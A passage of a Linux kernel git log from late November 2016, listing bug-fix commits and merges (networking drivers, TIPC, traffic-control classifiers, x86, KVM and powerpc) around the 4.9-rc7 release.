control compatibility problem ==================== Signed-off-by: David S. Miller commit 44b911e77793d686b481608770d0c55c18055ba0 Author: Jack Morgenstein Date: Sun Nov 27 19:20:52 2016 +0200 net/mlx4: Fix uninitialized fields in rule when adding promiscuous mode to device managed flow steering In procedure mlx4_flow_steer_promisc_add(), several fields were left uninitialized in the rule structure. Correctly initialize these fields. Fixes: 592e49dda812 ("net/mlx4: Implement promiscuous mode with device managed flow-steering") Signed-off-by: Jack Morgenstein Signed-off-by: Tariq Toukan Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/mcg.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit b4353708f5a1c084fd73f1b6fd243b142157b173 Author: Tariq Toukan Date: Sun Nov 27 19:20:51 2016 +0200 Revert "net/mlx4_en: Avoid unregister_netdev at shutdown flow" This reverts commit 9d76931180557270796f9631e2c79b9c7bb3c9fb. Using unregister_netdev at shutdown flow prevents calling the netdev's ndos or trying to access its freed resources. This fixes crashes like the following: Call Trace: [] dev_get_phys_port_id+0x1e/0x30 [] rtnl_fill_ifinfo+0x4be/0xff0 [] rtmsg_ifinfo_build_skb+0x73/0xe0 [] rtmsg_ifinfo.part.27+0x16/0x50 [] rtmsg_ifinfo+0x18/0x20 [] netdev_state_change+0x46/0x50 [] linkwatch_do_dev+0x38/0x50 [] __linkwatch_run_queue+0xf5/0x170 [] linkwatch_event+0x25/0x30 [] process_one_work+0x152/0x400 [] worker_thread+0x125/0x4b0 [] ? rescuer_thread+0x350/0x350 [] kthread+0xca/0xe0 [] ? kthread_park+0x60/0x60 [] ret_from_fork+0x25/0x30 Fixes: 9d7693118055 ("net/mlx4_en: Avoid unregister_netdev at shutdown flow") Signed-off-by: Tariq Toukan Reported-by: Sebastian Ott Reported-by: Steve Wise Cc: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx4/en_netdev.c | 17 ++--------------- drivers/net/ethernet/mellanox/mlx4/main.c | 5 +---- include/linux/mlx4/device.h | 1 - 3 files changed, 3 insertions(+), 20 deletions(-) commit faa1fa54fd25a59a6c4b731ac652a2b7cd21ace8 Author: Roi Dayan Date: Sun Nov 27 12:14:49 2016 +0200 net/sched: Export tc_tunnel_key so its UAPI accessible Export tc_tunnel_key so it can be used from user space. Signed-off-by: Roi Dayan Reviewed-by: Amir Vadai Signed-off-by: David S. Miller include/uapi/linux/tc_act/Kbuild | 1 + 1 file changed, 1 insertion(+) commit 91eefaabf102c539e6f5531e9a1e5ed46d2b41ca Author: Borislav Petkov Date: Sat Nov 26 21:53:52 2016 +0100 amd-xgbe: Fix unused suspend handlers build warning Fix: drivers/net/ethernet/amd/xgbe/xgbe-main.c:835:12: warning: ‘xgbe_suspend’ defined but not used [-Wunused-function] drivers/net/ethernet/amd/xgbe/xgbe-main.c:855:12: warning: ‘xgbe_resume’ defined but not used [-Wunused-function] I see it during randconfig builds here. Signed-off-by: Borislav Petkov Cc: Tom Lendacky Cc: netdev@vger.kernel.org Signed-off-by: David S. Miller drivers/net/ethernet/amd/xgbe/xgbe-main.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 23cb1f644019bac49d87b4dd7c1eac0569cc4f53 Author: Vineet Gupta Date: Mon Nov 28 09:18:21 2016 -0800 ARC: mm: IOC: Don't enable IOC by default Signed-off-by: Vineet Gupta arch/arc/mm/cache.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3c7c7a2fc8811bc7097479f69acf2527693d7562 Author: Vineet Gupta Date: Wed Nov 23 17:43:17 2016 -0800 ARC: Don't use "+l" inline asm constraint Apparenty this is coming in the way of gcc fix which inhibits the usage of LP_COUNT as a gpr. Cc: stable@vger.kernel.org Signed-off-by: Vineet Gupta arch/arc/include/asm/delay.h | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 4df21dfcf2291865cf673ac786a81c7a3f7afcf5 Author: Julian Wollrath Date: Fri Nov 25 15:05:26 2016 +0100 tcp: Set DEFAULT_TCP_CONG to bbr if DEFAULT_BBR is set Signed-off-by: Julian Wollrath Signed-off-by: David S. Miller net/ipv4/Kconfig | 1 + 1 file changed, 1 insertion(+) commit 68c1644f8a760f49955809dfe39fbd631befbab8 Merge: d936377 e323049 Author: David S. Miller Date: Mon Nov 28 12:06:55 2016 -0500 Merge branch 'fix-RTL8211F-TX-delay-handling' Martin Blumenstingl says: ==================== net: phy: realtek: fix RTL8211F TX-delay handling The RTL8211F PHY driver currently enables the TX-delay only when the phy-mode is PHY_INTERFACE_MODE_RGMII. This is incorrect, because there are three RGMII variations of the phy-mode which explicitly request the PHY to enable the RX and/or TX delay, while PHY_INTERFACE_MODE_RGMII specifies that the PHY should disable the RX and/or TX delays. Additionally to the RTL8211F PHY driver change this contains a small update to the phy-mode documentation to clarify the purpose of the RGMII phy-modes. While this may not be perfect yet it's at least a start. Please feel free to drop this patch from this series and send an improved version yourself. These patches are the results of recent discussions, see [0] [0] http://lists.infradead.org/pipermail/linux-amlogic/2016-November/001688.html ==================== Signed-off-by: David S. Miller commit e3230494b57ece68750e3e32d3e53d6b00917058 Author: Martin Blumenstingl Date: Fri Nov 25 14:12:01 2016 +0100 net: phy: realtek: fix enabling of the TX-delay for RTL8211F The old logic always enabled the TX-delay when the phy-mode was set to PHY_INTERFACE_MODE_RGMII. There are dedicated phy-modes which tell the PHY driver to enable the RX and/or TX delays: - PHY_INTERFACE_MODE_RGMII should disable the RX and TX delay in the PHY (if required, the MAC should add the delays in this case) - PHY_INTERFACE_MODE_RGMII_ID should enable RX and TX delay in the PHY - PHY_INTERFACE_MODE_RGMII_TXID should enable the TX delay in the PHY - PHY_INTERFACE_MODE_RGMII_RXID should enable the RX delay in the PHY (currently not supported by RTL8211F) With this patch we enable the TX delay for PHY_INTERFACE_MODE_RGMII_ID and PHY_INTERFACE_MODE_RGMII_TXID. Additionally we now explicity disable the TX-delay, which seems to be enabled automatically after a hard-reset of the PHY (by triggering it's reset pin) to get a consistent state (as defined by the phy-mode). This fixes a compatibility problem with some SoCs where the TX-delay was also added by the MAC. With the TX-delay being applied twice the TX clock was off and TX traffic was broken or very slow (<10Mbit/s) on 1000Mbit/s links. Signed-off-by: Martin Blumenstingl Reviewed-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/phy/realtek.c | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) commit e5f3a4a56ce2a707b2fb8ce37e4414dcac89c672 Author: Martin Blumenstingl Date: Fri Nov 25 14:12:00 2016 +0100 Documentation: devicetree: clarify usage of the RGMII phy-modes RGMII requires special RX and/or TX delays depending on the actual hardware circuit/wiring. These delays can be added by the MAC, the PHY or the designer of the circuit (the latter means that no delay has to be added by PHY or MAC). There are 4 RGMII phy-modes used describe where a delay should be applied: - rgmii: the RX and TX delays are either added by the MAC (where the exact delay is typically configurable, and can be turned off when no extra delay is needed) or not needed at all (because the hardware wiring adds the delay already). The PHY should neither add the RX nor TX delay in this case. - rgmii-rxid: configures the PHY to enable the RX delay. The MAC should not add the RX delay in this case. - rgmii-txid: configures the PHY to enable the TX delay. The MAC should not add the TX delay in this case. - rgmii-id: combines rgmii-rxid and rgmii-txid and thus configures the PHY to enable the RX and TX delays. The MAC should neither add the RX nor TX delay in this case. Document these cases in the ethernet.txt documentation to make it clear when to use each mode. If applied incorrectly one might end up with MAC and PHY both enabling for example the TX delay, which breaks ethernet TX traffic on 1000Mbit/s links. Signed-off-by: Martin Blumenstingl Reviewed-by: Florian Fainelli Signed-off-by: David S. Miller Documentation/devicetree/bindings/net/ethernet.txt | 24 ++++++++++++++++++---- 1 file changed, 20 insertions(+), 4 deletions(-) commit d936377414fadbafb4d17148d222fe45ca5442d4 Author: Daniel Borkmann Date: Sun Nov 27 01:18:01 2016 +0100 net, sched: respect rcu grace period on cls destruction Roi reported a crash in flower where tp->root was NULL in ->classify() callbacks. Reason is that in ->destroy() tp->root is set to NULL via RCU_INIT_POINTER(). It's problematic for some of the classifiers, because this doesn't respect RCU grace period for them, and as a result, still outstanding readers from tc_classify() will try to blindly dereference a NULL tp->root. The tp->root object is strictly private to the classifier implementation and holds internal data the core such as tc_ctl_tfilter() doesn't know about. Within some classifiers, such as cls_bpf, cls_basic, etc, tp->root is only checked for NULL in ->get() callback, but nowhere else. This is misleading and seemed to be copied from old classifier code that was not cleaned up properly. For example, d3fa76ee6b4a ("[NET_SCHED]: cls_basic: fix NULL pointer dereference") moved tp->root initialization into ->init() routine, where before it was part of ->change(), so ->get() had to deal with tp->root being NULL back then, so that was indeed a valid case, after d3fa76ee6b4a, not really anymore. We used to set tp->root to NULL long ago in ->destroy(), see 47a1a1d4be29 ("pkt_sched: remove unnecessary xchg() in packet classifiers"); but the NULLifying was reintroduced with the RCUification, but it's not correct for every classifier implementation. In the cases that are fixed here with one exception of cls_cgroup, tp->root object is allocated and initialized inside ->init() callback, which is always performed at a point in time after we allocate a new tp, which means tp and thus tp->root was not globally visible in the tp chain yet (see tc_ctl_tfilter()). Also, on destruction tp->root is strictly kfree_rcu()'ed in ->destroy() handler, same for the tp which is kfree_rcu()'ed right when we return from ->destroy() in tcf_destroy(). This means, the head object's lifetime for such classifiers is always tied to the tp lifetime. The RCU callback invocation for the two kfree_rcu() could be out of order, but that's fine since both are independent. Dropping the RCU_INIT_POINTER(tp->root, NULL) for these classifiers here means that 1) we don't need a useless NULL check in fast-path and, 2) that outstanding readers of that tp in tc_classify() can still execute under respect with RCU grace period as it is actually expected. Things that haven't been touched here: cls_fw and cls_route. They each handle tp->root being NULL in ->classify() path for historic reasons, so their ->destroy() implementation can stay as is. If someone actually cares, they could get cleaned up at some point to avoid the test in fast path. cls_u32 doesn't set tp->root to NULL. For cls_rsvp, I just added a !head should anyone actually be using/testing it, so it at least aligns with cls_fw and cls_route. For cls_flower we additionally need to defer rhashtable destruction (to a sleepable context) after RCU grace period as concurrent readers might still access it. (Note that in this case we need to hold module reference to keep work callback address intact, since we only wait on module unload for all call_rcu()s to finish.) This fixes one race to bring RCU grace period guarantees back. Next step as worked on by Cong however is to fix 1e052be69d04 ("net_sched: destroy proto tp when all filters are gone") to get the order of unlinking the tp in tc_ctl_tfilter() for the RTM_DELTFILTER case right by moving RCU_INIT_POINTER() before tcf_destroy() and let the notification for removal be done through the prior ->delete() callback. Both are independant issues. Once we have that right, we can then clean tp->root up for a number of classifiers by not making them RCU pointers, which requires a new callback (->uninit) that is triggered from tp's RCU callback, where we just kfree() tp->root from there. Fixes: 1f947bf151e9 ("net: sched: rcu'ify cls_bpf") Fixes: 9888faefe132 ("net: sched: cls_basic use RCU") Fixes: 70da9f0bf999 ("net: sched: cls_flow use RCU") Fixes: 77b9900ef53a ("tc: introduce Flower classifier") Fixes: bf3994d2ed31 ("net/sched: introduce Match-all classifier") Fixes: 952313bd6258 ("net: sched: cls_cgroup use RCU") Reported-by: Roi Dayan Signed-off-by: Daniel Borkmann Cc: Cong Wang Cc: John Fastabend Cc: Roi Dayan Cc: Jiri Pirko Acked-by: John Fastabend Acked-by: Cong Wang Signed-off-by: David S. Miller net/sched/cls_basic.c | 4 ---- net/sched/cls_bpf.c | 4 ---- net/sched/cls_cgroup.c | 7 +++---- net/sched/cls_flow.c | 1 - net/sched/cls_flower.c | 31 ++++++++++++++++++++++++++----- net/sched/cls_matchall.c | 1 - net/sched/cls_rsvp.h | 3 ++- net/sched/cls_tcindex.c | 1 - 8 files changed, 31 insertions(+), 21 deletions(-) commit 10c77dba40ff58fc03587b3b60725bb7fd723183 Author: Ben Hutchings Date: Wed Nov 16 18:27:56 2016 +0000 powerpc/boot: Fix build failure in 32-bit boot wrapper OPAL is not callable from 32-bit mode and the assembly code for it may not even build (depending on how binutils was configured). References: https://buildd.debian.org/status/fetch.php?pkg=linux&arch=powerpcspe&ver=4.8.7-1&stamp=1479203712 Fixes: 656ad58ef19e ("powerpc/boot: Add OPAL console to epapr wrappers") Cc: stable@vger.kernel.org # v4.8+ Signed-off-by: Ben Hutchings Signed-off-by: Michael Ellerman arch/powerpc/boot/Makefile | 3 ++- arch/powerpc/boot/opal.c | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) commit 55f856e640560494518eaf24fe9d2d2089fba71a Author: Josh Poimboeuf Date: Sun Nov 27 23:13:07 2016 -0600 x86/unwind: Fix guess-unwinder regression My attempt at fixing some KASAN false positive warnings was rather brain dead, and it broke the guess unwinder. With frame pointers disabled, /proc//stack is broken: # cat /proc/1/stack [] 0xffffffffffffffff Restore the code flow to more closely resemble its previous state, while still using READ_ONCE_NOCHECK() macros to silence KASAN false positives. Signed-off-by: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Fixes: c2d75e03d630 ("x86/unwind: Prevent KASAN false positive warnings in guess unwinder") Link: http://lkml.kernel.org/r/b824f92c2c22eca5ec95ac56bd2a7c84cf0b9df9.1480309971.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/unwind_guess.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit adee8705d2517f0e163ffc45e8d7f9e97a58f1f6 Author: Peter Foley Date: Sat Nov 26 17:22:29 2016 -0500 x86/build: Annotate die() with noreturn to fix build warning on clang Fixes below warning with clang: In file included from ../arch/x86/tools/relocs_64.c:17: ../arch/x86/tools/relocs.c:977:6: warning: variable 'do_reloc' is used uninitialized whenever 'if' condition is false [-Wsometimes-uninitialized] Signed-off-by: Peter Foley Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20161126222229.673-1-pefoley2@pefoley.com Signed-off-by: Ingo Molnar arch/x86/tools/relocs.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 20ab6677716c7bbdcfd1cdb9aef296a0b3101f73 Author: Borislav Petkov Date: Sat Nov 26 15:27:06 2016 +0100 x86/platform/olpc: Fix resume handler build warning Fix: arch/x86/platform/olpc/olpc-xo15-sci.c:199:12: warning: ‘xo15_sci_resume’ defined but not used [-Wunused-function] static int xo15_sci_resume(struct device *dev) ^ which I see in randconfig builds here. Signed-off-by: Borislav Petkov Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20161126142706.13602-1-bp@alien8.de Signed-off-by: Ingo Molnar arch/x86/platform/olpc/olpc-xo15-sci.c | 2 ++ 1 file changed, 2 insertions(+) commit 9590112241baff6f9d0e751f9c8ecacbe591417a Author: Jon Paul Maloy Date: Fri Nov 25 10:35:02 2016 -0500 tipc: fix link statistics counter errors In commit e4bf4f76962b ("tipc: simplify packet sequence number handling") we changed the internal representation of the packet sequence number counters from u32 to u16, reflecting what is really sent over the wire. Since then some link statistics counters have been displaying incorrect values, partially because the counters meant to be used as sequence number snapshots are now used as direct counters, stored as u32, and partially because some counter updates are just missing in the code. In this commit we correct this in two ways. First, we base the displayed packet sent/received values on direct counters instead of as previously a calculated difference between current sequence number and a snapshot. Second, we add the missing updates of the counters. This change is compatible with the current netlink API, and requires no changes to the user space tools. Signed-off-by: Jon Maloy Signed-off-by: David S. Miller net/tipc/link.c | 35 +++++++++++++++++++---------------- 1 file changed, 19 insertions(+), 16 deletions(-) commit 8eb4adf60b8a2e0857643910c01aac98fe613466 Merge: e824265 6b22648 Author: David S. Miller Date: Sun Nov 27 20:21:48 2016 -0500 Merge branch 'master' of git://git.kernel.org/pub/scm/linux/kernel/git/klassert/ipsec Steffen Klassert says: ==================== pull request (net): ipsec 2016-11-25 1) Fix a refcount leak in vti6. From Nicolas Dichtel. 2) Fix a wrong if statement in xfrm_sk_policy_lookup. From Florian Westphal. 3) The flowcache watermarks are per cpu. Take this into account when comparing to the threshold where we refusing new allocations. From Miroslav Urbanek. Please pull or let me know if there are problems. ==================== Signed-off-by: David S. Miller commit e824265d632629c3d2583d86b8a816e886a5136c Author: Gao Feng Date: Fri Nov 25 10:05:06 2016 +0800 driver: macvtap: Unregister netdev rx_handler if macvtap_newlink fails The macvtap_newlink registers the netdev rx_handler firstly, but it does not unregister the handler if macvlan_common_newlink failed. Signed-off-by: Gao Feng Acked-by: Jason Wang Signed-off-by: David S. Miller drivers/net/macvtap.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit a1cad5ee80ddaa833dd0d31c0612306532fbe53a Merge: c9bd282 6ffe1c4 Author: David S. Miller Date: Sun Nov 27 20:01:16 2016 -0500 Merge branch 'more-phydev-leaks' Johan Hovold says: ==================== net: fix phydev reference leaks This series fixes a number of phydev reference leaks (and one of_node leak) due to failure to put the reference taken by of_phy_find_device(). Note that I did not try to fix drivers/net/phy/xilinx_gmii2rgmii.c which still leaks a reference. Against net but should apply just as fine to net-next. v2: - use put_device() instead of phy_dev_free() to put the references taken in net/dsa (patch 1/4). - add four new patches fixing similar leaks ==================== Signed-off-by: David S. Miller commit 6ffe1c4cd0a77f51d8d2985aa721d636b03ddf58 Author: Johan Hovold Date: Thu Nov 24 19:21:31 2016 +0100 net: qcom/emac: fix of_node and phydev leaks Make sure to drop the reference taken by of_phy_find_device() during probe on probe errors and on driver unbind. Also drop the of_node reference taken by of_parse_phandle() in the same path. Fixes: b9b17debc69d ("net: emac: emac gigabit ethernet controller driver") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/qualcomm/emac/emac-phy.c | 1 + drivers/net/ethernet/qualcomm/emac/emac.c | 4 ++++ 2 files changed, 5 insertions(+) commit cb1f3410ff12520b22fa03ccd23892c360de0c26 Author: Johan Hovold Date: Thu Nov 24 19:21:30 2016 +0100 net: fsl/fman: fix fixed-link-phydev reference leak Make sure to drop the reference taken by of_phy_find_device() when looking up a fixed-link phydev during probe. Fixes: 57ba4c9b56d8 ("fsl/fman: Add FMan MAC support") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/freescale/fman/mac.c | 2 ++ 1 file changed, 2 insertions(+) commit 966830340302fd79c51e2a3b9bccca9427256dee Author: Johan Hovold Date: Thu Nov 24 19:21:29 2016 +0100 net: fsl/fman: fix phydev reference leak Make sure to drop the reference taken by of_phy_find_device() during initialisation when later freeing the struct fman_mac. Fixes: 57ba4c9b56d8 ("fsl/fman: Add FMan MAC support") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/freescale/fman/fman_memac.c | 3 +++ 1 file changed, 3 insertions(+) commit 0da60541f8a771270d310a574cb0adeefcdebcb1 Author: Johan Hovold Date: Thu Nov 24 19:21:28 2016 +0100 net: bcmgenet: fix phydev reference leak Make sure to drop the reference taken by of_phy_find_device() when initialising MOCA PHYs. Fixes: 6ac9de5f6563 ("net: bcmgenet: Register link_update callback for all MoCA PHYs") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/genet/bcmmii.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit fd05d7b18cec1af043990c4b3aabc6780575375c Author: Johan Hovold Date: Thu Nov 24 19:21:27 2016 +0100 net: dsa: fix fixed-link-phy device leaks Make sure to drop the reference taken by of_phy_find_device() when registering and deregistering the fixed-link PHY-device. Fixes: 39b0c705195e ("net: dsa: Allow configuration of CPU & DSA port speeds/duplex") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller net/dsa/dsa.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit c9bd28233b6d0d82ac3ba0215723be0a8262c39c Author: Arnd Bergmann Date: Thu Nov 24 17:26:22 2016 +0100 irda: fix overly long udelay() irda_get_mtt() returns a hardcoded '10000' in some cases, and with gcc-7, we get a build error because this triggers a compile-time check in udelay(): drivers/net/irda/w83977af_ir.o: In function `w83977af_hard_xmit': w83977af_ir.c:(.text.w83977af_hard_xmit+0x14c): undefined reference to `__bad_udelay' Older compilers did not run into this because they either did not completely inline the irda_get_mtt() or did not consider the 10000 value a constant expression. The code has been wrong since the start of git history. Signed-off-by: Arnd Bergmann Signed-off-by: David S. Miller drivers/net/irda/w83977af_ir.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 147fd2874d8a8ba69970f0069d67ac341bf0bb09 Author: Gao Feng Date: Thu Nov 24 23:39:59 2016 +0800 driver: ipvlan: Fix one possible memleak in ipvlan_link_new When ipvlan_link_new fails and creates one ipvlan port, it does not destroy the ipvlan port created. It causes mem leak and the physical device contains invalid ipvlan data. Signed-off-by: Gao Feng Signed-off-by: David S. Miller drivers/net/ipvlan/ipvlan_main.c | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) commit e5517c2a5a49ed5e99047008629f1cd60246ea0e Author: Linus Torvalds Date: Sun Nov 27 13:08:04 2016 -0800 Linux 4.9-rc7 Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 105ecadc6d9c1effd23dd46fcc340f62d467cd6c Merge: ff17bf8 9101704 Author: Linus Torvalds Date: Sun Nov 27 08:24:46 2016 -0800 Merge git://git.infradead.org/intel-iommu Pull IOMMU fixes from David Woodhouse: "Two minor fixes. The first fixes the assignment of SR-IOV virtual functions to the correct IOMMU unit, and the second fixes the excessively large (and physically contiguous) PASID tables used with SVM" * git://git.infradead.org/intel-iommu: iommu/vt-d: Fix PASID table allocation iommu/vt-d: Fix IOMMU lookup for SR-IOV Virtual Functions commit ff17bf8a0d2d60a343db304b835c0e83efa660d9 Merge: d8e435f 2a872a5 Author: Linus Torvalds Date: Sun Nov 27 08:22:59 2016 -0800 Merge branch 'upstream' of git://git.linux-mips.org/pub/scm/ralf/upstream-linus Pull MIPS fixes from Ralf Baechle: "Another round of MIPS fixes for 4.9: - Fix unreadable output in __do_page_fault due to the KERN_CONT patchset - Correctly handle MIPS R6 fixes to the c0_wired register" * 'upstream' of git://git.linux-mips.org/pub/scm/ralf/upstream-linus: MIPS: mm: Fix output of __do_page_fault MIPS: Mask out limit field when calculating wired entry count commit d8e435f3ab6fea2ea324dce72b51dd7761747523 Merge: e348031 8e54cad Author: Linus Torvalds Date: Sat Nov 26 17:21:13 2016 -0800 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs Pull vfs splice fix from Al Viro. * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs: fix default_file_splice_read() commit 8e54cadab447dae779f80f79c87cbeaea9594f60 Author: Al Viro Date: Sat Nov 26 20:05:42 2016 -0500 fix default_file_splice_read() Botched calculation of number of pages. As the result, we were dropping pieces when doing splice to pipe from e.g. 9p. Reported-by: Alexei Starovoitov Tested-by: Alexei Starovoitov Signed-off-by: Al Viro fs/splice.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit e348031214d5dce67be93271433b27a93cba5b3f Merge: a56f3eb 89119f0 Author: Linus Torvalds Date: Sat Nov 26 15:28:34 2016 -0800 Merge branch 'i2c/for-current' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux Pull i2c fixes from Wolfram Sang: "Here is a revert and two bugfixes for the I2C designware driver. Please note that we are still hunting down a regression for the i2c-octeon driver. While there is a fix pending, we have unclear feedback from the testers currently. An rc8 would be quite helpful for this case" * 'i2c/for-current' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux: Revert "i2c: designware: do not disable adapter after transfer" i2c: designware: fix rx fifo depth tracking i2c: designware: report short transfers commit a56f3eb2cd72d4d678a63cf8cacf9d39aa8020f3 Merge: a0d60e6 8478132 Author: Linus Torvalds Date: Sat Nov 26 15:26:20 2016 -0800 Merge branch 'fixes' of git://git.armlinux.org.uk/~rmk/linux-arm Pull ARM fix from Russell King: "This resolves the ksyms issues by reverting the commit which introduced the breakage" There was what I consider to be a better fix, but it's late in the rc game, so I'll take the revert. * 'fixes' of git://git.armlinux.org.uk/~rmk/linux-arm: Revert "arm: move exports to definitions" commit a0d60e62ea5c88a9823410e9d0929a513e29dea2 Merge: 30e2b7c 6998cc6 Author: Linus Torvalds Date: Sat Nov 26 13:05:05 2016 -0800 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net Pull networking fixes from David Miller: 1) Fix leak in fsl/fman driver, from Dan Carpenter. 2) Call flow dissector initcall earlier than any networking driver can register and start to use it, from Eric Dumazet. 3) Some dup header fixes from Geliang Tang. 4) TIPC link monitoring compat fix from Jon Paul Maloy. 5) Link changes require EEE re-negotiation in bcm_sf2 driver, from Florian Fainelli. 6) Fix bogus handle ID passed into tfilter_notify_chain(), from Roman Mashak. 7) Fix dump size calculation in rtnl_calcit(), from Zhang Shengju. * git://git.kernel.org/pub/scm/linux/kernel/git/davem/net: (26 commits) tipc: resolve connection flow control compatibility problem mvpp2: use correct size for memset net/mlx5: drop duplicate header delay.h net: ieee802154: drop duplicate header delay.h ibmvnic: drop duplicate header seq_file.h fsl/fman: fix a leak in tgec_free() net: ethtool: don't require CAP_NET_ADMIN for ETHTOOL_GLINKSETTINGS tipc: improve sanity check for received domain records tipc: fix compatibility bug in link monitoring net: ethernet: mvneta: Remove IFF_UNICAST_FLT which is not implemented dwc_eth_qos: drop duplicate headers net sched filters: fix filter handle ID in tfilter_notify_chain() net: dsa: bcm_sf2: Ensure we re-negotiate EEE during after link change bnxt: do not busy-poll when link is down udplite: call proper backlog handlers ipv6: bump genid when the IFA_F_TENTATIVE flag is clear net/mlx4_en: Free netdev resources under state lock net: revert "net: l2tp: Treat NET_XMIT_CN as success in l2tp_eth_dev_xmit" rtnetlink: fix the wrong minimal dump size getting from rtnl_calcit() bnxt_en: Fix a VXLAN vs GENEVE issue ... commit 30e2b7cfc54c1efa0aa4c75eb8aa19318e3932e3 Merge: fc13ca1 4cb1935 Author: Linus Torvalds Date: Sat Nov 26 12:24:47 2016 -0800 Merge branch 'libnvdimm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/nvdimm/nvdimm Pull libnvdimm fixes from Dan Williams: - Fix a crash that occurs at driver initialization if the memory region is already busy (request_mem_region() fails). - Fix a vma validation check that mistakenly allows a private device- dax mapping to be established. Device-dax explicitly forbids private mappings so it can guarantee a given fault granularity and backing memory type. Both of these fixes have soaked in -next and are tagged for -stable. * 'libnvdimm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/nvdimm/nvdimm: device-dax: fail all private mapping attempts device-dax: check devm_nsio_enable() return value commit fc13ca191ee2ae5f379e2933cdff523c3b4fffc9 Merge: 39c1573 df49289 Author: Linus Torvalds Date: Sat Nov 26 12:18:59 2016 -0800 Merge tag 'for-linus' of git://git.kernel.org/pub/scm/virt/kvm/kvm Pull KVM fixes from Radim Krčmář: "Four fixes for bugs found by syzkaller on x86, all for stable" * tag 'for-linus' of git://git.kernel.org/pub/scm/virt/kvm/kvm: KVM: x86: check for pic and ioapic presence before use KVM: x86: fix out-of-bounds accesses of rtc_eoi map KVM: x86: drop error recovery in em_jmp_far and em_ret_far KVM: x86: fix out-of-bounds access in lapic commit 39c1573748166b348117d6bf161ceffce90e734f Merge: 3ad0e83 984d7a1 Author: Linus Torvalds Date: Sat Nov 26 11:24:03 2016 -0800 Merge tag 'powerpc-4.9-6' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux Pull powerpc fixes from Michael Ellerman: "Fixes marked for stable: - Set missing wakeup bit in LPCR on POWER9 - Fix the early OPAL console wrappers - Fixup kernel read only mapping Fixes for code merged this cycle: - Fix missing CRCs, add more asm-prototypes.h declarations" * tag 'powerpc-4.9-6' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux: powerpc/mm: Fixup kernel read only mapping powerpc/boot: Fix the early OPAL console wrappers powerpc: Fix missing CRCs, add more asm-prototypes.h declarations powerpc: Set missing wakeup bit in LPCR on POWER9 commit 6998cc6ec23740347670da13186d2979c5401903 Author: Jon Paul Maloy Date: Thu Nov 24 18:47:07 2016 -0500 tipc: resolve connection flow control compatibility problem In commit 10724cc7bb78 ("tipc: redesign connection-level flow control") we replaced the previous message based flow control with one based on 1k blocks. In order to ensure backwards compatibility the mechanism falls back to using message as base unit when it senses that the peer doesn't support the new algorithm. The default flow control window, i.e., how many units can be sent before the sender blocks and waits for an acknowledge (aka advertisement) is 512. This was tested against the previous version, which uses an acknowledge frequency of on ack per 256 received message, and found to work fine. However, we missed the fact that versions older than Linux 3.15 use an acknowledge frequency of 512, which is exactly the limit where a 4.6+ sender will stop and wait for acknowledge. This would also work fine if it weren't for the fact that if the first sent message on a 4.6+ server side is an empty SYNACK, this one is also is counted as a sent message, while it is not counted as a received message on a legacy 3.15-receiver. This leads to the sender always being one step ahead of the receiver, a scenario causing the sender to block after 512 sent messages, while the receiver only has registered 511 read messages. Hence, the legacy receiver is not trigged to send an acknowledge, with a permanently blocked sender as result. We solve this deadlock by simply allowing the sender to send one more message before it blocks, i.e., by a making minimal change to the condition used for determining connection congestion. Signed-off-by: Jon Maloy Signed-off-by: David S. Miller net/tipc/socket.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e8f967c3d88489fc1562a31d4e44d905ac1d3aff Author: Arnd Bergmann Date: Thu Nov 24 17:28:12 2016 +0100 mvpp2: use correct size for memset gcc-7 detects a short memset in mvpp2, introduced in the original merge of the driver: drivers/net/ethernet/marvell/mvpp2.c: In function 'mvpp2_cls_init': drivers/net/ethernet/marvell/mvpp2.c:3296:2: error: 'memset' used with length equal to number of elements without multiplication by element size [-Werror=memset-elt-size] The result seems to be that we write uninitialized data into the flow table registers, although we did not get any warning about that uninitialized data usage. Using sizeof() lets us initialize then entire array instead. Fixes: 3f518509dedc ("ethernet: Add new driver for Marvell Armada 375 network unit") Signed-off-by: Arnd Bergmann Signed-off-by: David S. Miller drivers/net/ethernet/marvell/mvpp2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 